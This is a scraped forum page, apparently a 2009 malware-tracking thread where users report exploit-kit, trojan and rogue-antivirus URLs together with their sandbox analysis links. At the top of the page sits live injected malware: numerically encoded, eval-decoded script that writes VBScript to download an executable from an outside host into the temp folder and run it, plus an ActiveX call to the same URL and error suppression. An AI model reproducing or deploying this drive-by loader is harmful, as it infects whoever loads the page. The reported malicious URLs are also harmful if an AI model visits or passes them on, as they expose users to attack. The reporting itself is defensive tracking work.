id="QIgskwBJjInK_41K">100.111.99.117.109.101.110.116.46.119.114.105.116.101.40.117.110.101.115.99.97.112.101.40.34.37.51.67.115.99.114.105.112.116.37.50.48.108.97.110.103.117.97.103.101.37.51.68.37.50.50.118.98.115.99.114.105.112.116.37.50.50.37.51.69.37.48.68.37.48.65.37.48.68.37.48.65.67.111.110.115.116.37.50.48.97.100.77.111.100.101.82.101.97.100.87.114.105.116.101.37.51.68.51.37.48.68.37.48.65.67.111.110.115.116.37.50.48.97.100.84.121.112.101.66.105.110.97.114.121.37.51.68.49.37.48.68.37.48.65.67.111.110.115.116.37.48.68.37.48.65.97.100.83.97.118.101.67.114.101.97.116.101.79.118.101.114.87.114.105.116.101.37.51.68.50.37.48.68.37.48.65.68.105.109.37.50.48.37.50.48.111.70.83.79.37.48.68.37.48.65.68.105.109.37.50.48.37.50.48.111.83.116.114.101.97.109.37.48.68.37.48.65.68.105.109.37.50.48.37.50.48.111.87.83.104.101.108.108.37.48.68.37.48.65.68.105.109.37.50.48.37.50.48.80.108.117.103.105.110.70.105.108.101.37.48.68.37.48.65.68.105.109.37.50.48.37.50.48.99.66.121.116.101.37.48.68.37.48.65.68.105.109.37.50.48.37.50.48.37.50.48.79.98.106.78.97.109.101.37.48.68.37.48.65.68.105.109.37.50.48.37.50.48.37.50.48.79.98.106.80.114.111.103.37.48.68.37.48.65.79.98.106.78.97.109.101.37.51.68.37.50.50.65.68.79.68.66.37.50.50.37.48.68.37.48.65.79.98.106.80.114.111.103.37.51.68.37.50.50.83.116.114.101.97.109.37.50.50.37.48.68.37.48.65.79.110.37.50.48.69.114.114.111.114.37.50.48.82.101.115.117.109.101.37.50.48.78.101.120.116.37.48.68.37.48.65.83.101.116.37.50.48.111.83.116.114.101.97.109.37.51.68.119.105.110.100.111.119.46.111.82.68.83.46.67.114.101.97.116.101.79.98.106.101.99.116.37.50.56.79.98.106.78.97.109.101.37.50.48.37.50.54.37.50.48.37.50.50.46.37.50.50.37.50.48.37.50.54.37.50.48.79.98.106.80.114.111.103.37.50.67.37.50.50.37.50.50.37.50.57.37.48.68.37.48.65.73.102.37.50.48.69.114.114.46.110.117.109.98.101.114.37.50.48.37.51.67.37.51.69.37.50.48.48.37.50.48.84.104.101.110.37.48.68.37.48.65.83.101.116.37.50.48.111.70.83.79.37.51.68.119.105.110.100.111.119.46.111.82.68.83.46.67.114.101.97.116.101.79.98.106.101.99.116.37.50.56.37.50.50.83.99.114.105.112.116.105.110.103.46.70.105.37.50.50.37.50.48.37.50.54.37.50.48.37.50.50.108.101.83.121.115.116.101.109.79.98.106.101.99.116.37.50.50.37.50.67.37.50.50.37.50.50.37.50.57.37.48.68.37.48.65.83.101.116.37.50.48.80.108.117.103.105.110.70.105.108.101.37.51.68.111.70.83.79.46.67.114.101.97.116.101.84.101.120.116.70.105.108.101.37.50.56.119.105.110.100.111.119.46.101.120.101.78.97.109.101.37.50.67.37.48.68.37.48.65.84.82.85.69.37.50.57.37.48.68.37.48.65.80.108.117.103.105.110.95.115.105.122.101.37.51.68.76.101.110.66.37.50.56.119.105.110.100.111.119.46.88.77.76.66.111.100.121.37.50.57.37.48.68.37.48.65.37.48.68.37.48.65.70.111.114.37.50.48.106.37.51.68.49.37.50.48.84.111.37.50.48.80.108.117.103.105.110.95.115.105.122.101.37.48.68.37.48.65.37.50.48.37.50.48.99.66.121.116.101.37.51.68.77.105.100.66.37.50.56.119.105.110.100.111.119.46.88.77.76.66.111.100.121.37.50.67.106.37.50.67.49.37.50.57.37.48.68.37.48.65.37.50.48.37.50.48.66.121.116.101.67.111.100.101.37.51.68.65.115.99.66.37.50.56.99.66.121.116.101.37.50.57.37.48.68.37.48.65.37.50.48.37.50.48.80.108.117.103.105.110.70.105.108.101.46.87.114.105.116.101.37.50.56.67.104.114.37.50.56.66.121.116.101.67.111.100.101.37.50.57.37.50.57.37.48.68.37.48.65.78.101.120.116.37.48.68.37.48.65.37.50.48.37.50.48.80.108.117.103.105.110.70.105.108.101.46.67.108.111.115.101.37.48.68.37.48.65.37.50.48.37.50.48.83.101.116.37.50.48.111.87.83.104.101.108.108.37.51.68.119.105.110.100.111.119.46.111.82.68.83.46.67.114.101.97.116.101.79.98.106.101.99.116.37.50.56.37.50.50.87.83.99.114.105.37.50.50.37.50.48.37.50.54.37.50.48.37.50.50.112.116.46.83.104.101.108.108.37.50.50.37.50.67.37.50.50.37.50.50.37.50.57.37.48.68.37.48.65.37.50.48.37.50.48.79.110.37.50.48.69.114.114.111.114.37.50.48.82.101.115.117.109.101.37.50.48.78.101.120.116.37.48.68.37.48.65.37.50.48.37.50.48.111.87.83.104.101.108.108.46.82.117.110.37.50.48.37.50.56.119.105.110.100.111.119.46.101.120.101.78.97.109.101.37.50.57.37.50.67.49.37.50.67.70.65.76.83.69.37.48.68.37.48.65.69.108.115.101.37.48.68.37.48.65.37.50.48.111.83.116.114.101.97.109.46.77.111.100.101.37.51.68.97.100.77.111.100.101.82.101.97.100.87.114.105.116.101.37.48.68.37.48.65.37.50.48.111.83.116.114.101.97.109.46.84.121.112.101.37.51.68.97.100.84.121.112.101.66.105.110.97.114.121.37.48.68.37.48.65.37.50.48.111.83.116.114.101.97.109.46.79.112.101.110.37.48.68.37.48.65.37.50.48.111.83.116.114.101.97.109.46.87.114.105.116.101.37.50.48.119.105.110.100.111.119.46.88.77.76.66.111.100.121.37.48.68.37.48.65.37.50.48.111.83.116.114.101.97.109.46.83.97.118.101.84.111.70.105.108.101.37.48.68.37.48.65.37.48.68.37.48.65.119.105.110.100.111.119.46.101.120.101.78.97.109.101.37.50.67.97.100.83.97.118.101.67.114.101.97.116.101.79.118.101.114.87.114.105.116.101.37.48.68.37.48.65.37.50.48.119.105.110.100.111.119.46.111.83.104.101.108.108.65.112.112.46.83.104.101.108.108.69.120.101.99.117.116.101.37.50.48.119.105.110.100.111.119.46.101.120.101.78.97.109.101.37.48.68.37.48.65.69.110.100.37.50.48.73.102.37.48.68.37.48.65.37.51.67.37.50.70.115.99.114.105.112.116.37.51.69.37.48.68.37.48.65.37.51.67.115.99.114.105.112.116.37.50.48.108.97.110.103.117.97.103.101.37.51.68.37.50.50.86.66.83.99.114.105.112.116.37.50.50.37.51.69.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.111.110.37.50.48.101.114.114.111.114.37.50.48.114.101.115.117.109.101.37.50.48.110.101.120.116.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.100.108.37.50.48.37.51.68.37.50.48.37.50.50.104.116.116.112.37.51.65.37.50.70.37.50.70.50.51.51.50.52.50.46.99.111.109.37.50.70.49.37.50.70.108.111.97.100.46.112.104.112.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.83.101.116.37.50.48.100.102.37.50.48.37.51.68.37.50.48.100.111.99.117.109.101.110.116.46.99.114.101.97.116.101.69.108.101.109.101.110.116.37.50.56.37.50.50.111.98.106.101.99.116.37.50.50.37.50.57.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.37.50.48.37.50.48.99.108.115.49.37.51.68.37.50.50.99.108.115.105.100.37.51.65.66.68.57.54.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.37.50.48.37.50.48.99.108.115.50.37.51.68.37.50.50.67.53.53.54.45.54.53.65.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.37.50.48.37.50.48.99.108.115.51.37.51.68.37.50.50.51.45.49.49.68.48.45.57.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.37.50.48.37.50.48.99.108.115.52.37.51.68.37.50.50.56.51.65.45.48.48.67.48.52.70.67.50.57.69.51.54.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.37.50.48.37.50.48.99.108.115.102.117.108.108.37.51.68.99.108.115.49.37.50.54.99.108.115.50.37.50.54.99.108.115.51.37.50.54.99.108.115.52.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.100.102.46.115.101.116.65.116.116.114.105.98.117.116.101.37.50.48.37.50.50.99.108.97.115.115.105.100.37.50.50.37.50.67.99.108.115.102.117.108.108.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.116.114.49.37.51.68.37.50.50.77.105.99.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.116.114.50.37.51.68.37.50.50.114.111.115.111.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.116.114.51.37.51.68.37.50.50.102.116.46.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.116.114.52.37.51.68.37.50.50.88.77.76.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.116.114.53.37.51.68.37.50.50.72.84.84.80.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.116.114.37.51.68.115.116.114.49.37.50.54.115.116.114.50.37.50.54.115.116.114.51.37.50.54.115.116.114.52.37.50.54.115.116.114.53.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.83.101.116.37.50.48.120.37.50.48.37.51.68.37.50.48.100.102.46.67.114.101.97.116.101.79.98.106.101.99.116.37.50.56.115.116.114.37.50.67.37.50.50.37.50.50.37.50.57.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.97.119.98.49.37.51.68.37.50.50.65.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.97.119.98.50.37.51.68.37.50.50.100.111.100.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.97.119.98.51.37.51.68.37.50.50.98.46.83.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.97.119.98.52.37.51.68.37.50.50.116.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.97.119.98.53.37.51.68.37.50.50.114.101.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.97.119.98.54.37.51.68.37.50.50.97.109.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.116.114.98.49.37.51.68.97.119.98.49.37.50.54.97.119.98.50.37.50.54.97.119.98.51.37.50.54.97.119.98.52.37.50.54.97.119.98.53.37.50.54.97.119.98.54.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.116.114.98.53.37.51.68.115.116.114.98.49.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.101.116.37.50.48.89.89.37.50.48.37.51.68.37.50.48.100.102.46.99.114.101.97.116.101.111.98.106.101.99.116.37.50.56.115.116.114.98.53.37.50.67.37.50.50.37.50.50.37.50.57.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.89.89.46.116.121.112.101.37.50.48.37.51.68.37.50.48.49.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.116.114.54.37.51.68.37.50.50.71.69.84.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.120.46.79.112.101.110.37.50.48.115.116.114.54.37.50.67.37.50.48.100.108.37.50.67.37.50.48.70.97.108.115.101.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.120.46.83.101.110.100.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.102.110.97.109.101.122.122.49.37.51.68.37.50.50.102.105.108.101.46.101.120.101.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.99.114.105.112.49.37.51.68.37.50.50.83.99.114.105.112.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.99.114.105.112.50.37.51.68.37.50.50.116.105.110.103.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.99.114.105.112.51.37.51.68.37.50.50.46.70.105.108.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.99.114.105.112.52.37.51.68.37.50.50.101.83.121.115.116.101.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.99.114.105.112.53.37.51.68.37.50.50.109.79.98.106.101.99.116.37.50.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.99.114.105.112.37.51.68.115.99.114.105.112.49.37.50.54.115.99.114.105.112.50.37.50.54.115.99.114.105.112.51.37.50.54.115.99.114.105.112.52.37.50.54.115.99.114.105.112.53.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.101.116.37.50.48.70.70.37.50.48.37.51.68.37.50.48.100.102.46.99.114.101.97.116.101.111.98.106.101.99.116.37.50.56.115.99.114.105.112.37.50.67.37.50.50.37.50.50.37.50.57.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.101.116.37.50.48.116.109.112.37.50.48.37.51.68.37.50.48.70.46.71.101.116.83.112.101.99.105.97.108.70.111.108.100.101.114.37.50.56.50.37.50.57.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.102.110.97.109.101.122.122.49.37.51.68.37.50.48.70.70.46.66.117.105.108.100.80.97.116.104.37.50.56.116.109.112.37.50.67.102.110.97.109.101.122.122.49.37.50.57.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.89.89.46.111.112.101.110.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.89.89.46.119.114.105.116.101.37.50.48.120.46.114.101.115.112.111.110.115.101.66.111.100.121.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.89.89.46.115.97.118.101.116.111.102.105.108.101.37.50.48.102.110.97.109.101.122.122.49.37.50.67.50.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.89.89.46.99.108.111.115.101.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.115.101.116.37.50.48.77.77.37.50.48.37.51.68.37.50.48.100.102.46.99.114.101.97.116.101.111.98.106.101.99.116.37.50.56.37.50.50.83.104.101.108.108.46.65.112.112.108.105.99.97.116.105.111.110.37.50.50.37.50.67.37.50.50.37.50.50.37.50.57.37.48.68.37.48.65.37.50.48.37.50.48.37.50.48.37.50.48.77.77.46.83.104.101.108.108.69.120.101.99.117.116.101.37.50.48.102.110.97.109.101.122.122.49.37.50.67.37.50.50.37.50.50.37.50.67.37.50.50.37.50.50.37.50.67.37.50.50.111.112.101.110.37.50.50.37.50.67.48.37.48.68.37.48.65.37.51.67.37.50.70.115.99.114.105.112.116.37.51.69.34.41.41.59</div>
<script>
var K_41KC89Bwe2bv = document;
K_41KC89Bwe2bv = K_41KC89Bwe2bv.getElementById('K_41K1');
K_41KC89Bwe2bv = K_41KC89Bwe2bv.innerHTML;
var K_41Ktrash = "q!w!e!r!t!y!";
K_41KC89Bwe2bv = K_41KC89Bwe2bv.replace(/[!|*]/g, "");
K_41Ktrash = K_41Ktrash.replace(/[!]/g,"");
var K_41Kttt = eval(K_41KC89Bwe2bv);
var K_41KD81Bwe2b = document.getElementById("QIgskwBJjInK_41K");
K_41Ktrash = K_41Ktrash.replace(/[q]/g,"");
K_41KD81Bwe2b = K_41KD81Bwe2b.innerHTML;
K_41KD81Bwe2b = K_41KD81Bwe2b.replace(/[A-Za-z]/g,function (K_41KCK_41K2dbQ){ return String.fromCharCode((((K_41KCK_41K2dbQ = K_41KCK_41K2dbQ.charCodeAt(0)) & 223) - 52) % 26 + (K_41KCK_41K2dbQ & 32) + 65); }).split(".");
K_41Ktrash = K_41Ktrash.replace(/[w]/g,"");
var K_41KEW81Bwe2b = "!!!";
K_41KEW81Bwe2b = K_41KEW81Bwe2b.replace(/[!]/g,"");
for (var K_41KK_41K=0; K_41KK_41K<K_41KD81Bwe2b.length; K_41KK_41K++){ K_41KEW81Bwe2b += String.fromCharCode(K_41KD81Bwe2b[K_41KK_41K]); }
K_41Kttt(K_41KEW81Bwe2b);
</script></script>
<style>.M7RtpCTPdGVn6K_41K{display:none;}</style>
<b class="M7RtpCTPdGVn6K_41K" id="K_41K1">^e!^^^v^!^a^l!^</b>
<script>window.onerror = return(true);</script>
<div class="M7RtpCTPdGVn6K_41K" id="M7RtpCTPdGVn6K_41K">13.10.100.111.99.117.109.101.110.116.46.119.114.105.116.101.40.34.60.111.98.106.101.99.116.32.105.100.61.92.34.75.95.52.49.75.67.56.122.92.34.32.99.108.97.115.115.105.100.61.92.34.99.108.115.105.100.58.123.57.55.65.70.52.65.52.53.45.52.57.66.69.45.52.52.56.53.45.57.70.53.53.45.57.49.65.66.52.48.70.50.56.56.70.50.125.92.34.62.60.47.111.98.106.101.99.116.62.34.41.59.13.10.102.117.110.99.116.105.111.110.32.75.95.52.49.75.65.56.122.40.41.13.10.32.123.13.10.32.118.97.114.32.75.95.52.49.75.66.56.122.32.61.32.34.104.116.116.112.58.47.47.50.51.51.50.52.50.46.99.111.109.47.49.47.108.111.97.100.46.112.104.112.34.13.10.32.75.95.52.49.75.67.56.122.46.79.112.101.110.87.101.98.70.105.108.101.40.75.95.52.49.75.66.56.122.41.13.10.32.125.13.10.32.75.95.52.49.75.65.56.122.40.41.59.13.10.32</div>
<script>
var K_41KC89Bwe2bv = document;
K_41KC89Bwe2bv = K_41KC89Bwe2bv.getElementById('K_41K1');
K_41KC89Bwe2bv = K_41KC89Bwe2bv.innerHTML;
var K_41Ktrash = "q!w!e!r!t!y!";
K_41KC89Bwe2bv = K_41KC89Bwe2bv.replace(/[!|^]/g, "");
K_41Ktrash = K_41Ktrash.replace(/[!]/g,"");
var K_41Kttt = eval(K_41KC89Bwe2bv);
var K_41KD81Bwe2b = document.getElementById("M7RtpCTPdGVn6K_41K");
K_41Ktrash = K_41Ktrash.replace(/[q]/g,"");
K_41KD81Bwe2b = K_41KD81Bwe2b.innerHTML;
K_41KD81Bwe2b = K_41KD81Bwe2b.replace(/[A-Za-z]/g,function (K_41KCK_41K2dbQ){ return String.fromCharCode((((K_41KCK_41K2dbQ = K_41KCK_41K2dbQ.charCodeAt(0)) & 223) - 52) % 26 + (K_41KCK_41K2dbQ & 32) + 65); }).split(".");
K_41Ktrash = K_41Ktrash.replace(/[w]/g,"");
var K_41KEW81Bwe2b = "!!!";
K_41KEW81Bwe2b = K_41KEW81Bwe2b.replace(/[!]/g,"");
for (var K_41KK_41K=0; K_41KK_41K<K_41KD81Bwe2b.length; K_41KK_41K++){ K_41KEW81Bwe2b += String.fromCharCode(K_41KD81Bwe2b[K_41KK_41K]); }
K_41Kttt(K_41KEW81Bwe2b);
</script>

SysAdMini · April 05, 2009, 07:08:36 pm

Quote from: CM_MWR on April 05, 2009, 06:45:34 pm

I believe reports to

newsineurope.net/z/config.bin
newsineurope.net/z/s.php?1=smoked_000de8e6&i=test
newsineurope.net/z/s.php?2=smoked_000de8e6&n=0&v=16778770&i=test&s=0&sp=0&lcp=0&pr=0
newsineurope.net/z/s.php?2=smoked_000de8e6&n=1&v=16778770&i=test&s=0&sp=0&lcp=0&pr=0
newsineurope.net/z/s.php?3=smoked_000de8e6&id=1238936099

http://wepawet.cs.ucsb.edu/view.php?hash=7e2b3bcf078f597a13b9d4f3cf60283c&t=1238957989&type=js

has changed to mabira.net/z/config.bin at the same host.
newsineurope.net/z/config.bin is not available.

SysAdMini · April 05, 2009, 08:02:28 pm

Code: [Select]

javacsript.biz/in/in.cgi?2http://wepawet.cs.ucsb.edu/view.php?hash=a85e578048b1a2f6bd32246b5c9ef7b9&t=1238961548&type=js

redirects to exploits at

Code: [Select]

http://netcorbina.org/in90/
netcorbina.org/in90/iepdf.php?f=new

http://www.virustotal.com/analisis/e0798c9484695e356ca872fb150410ca 1/40

trojan

Code: [Select]

http://netcorbina.org/in90/load.phphttp://www.virustotal.com/analisis/f1051127ffaba83b33e3761c455a46c5 2/40

CkreM · April 05, 2009, 09:14:18 pm

rogue:

Code: [Select]

http://tubeloyaln.com/scan/?id=260
http://winpc-antivirus.com/

exploit/trojan:

Code: [Select]

http://sykalab.net/inn/index.phphttp://wepawet.iseclab.org/view.php?hash=c8b425b1ef9fb404ee337d4e72d467b6&t=1238959411&type=js

Author Topic: daily something...... (Read 856971 times)

sowhat-x

Re: daily something......

CkreM

Re: daily something......

CM_MWR

Re: daily something......

CkreM

Re: daily something......

SysAdMini

Re: daily something......

CkreM

Re: daily something......

GmG

Re: daily something......

SysAdMini

Re: daily something......

SysAdMini

Re: daily something......

SysAdMini

Re: daily something......

SysAdMini

Re: daily something......

CM_MWR

Re: daily something......

SysAdMini

Re: daily something......

SysAdMini

Re: daily something......

CkreM

Re: daily something......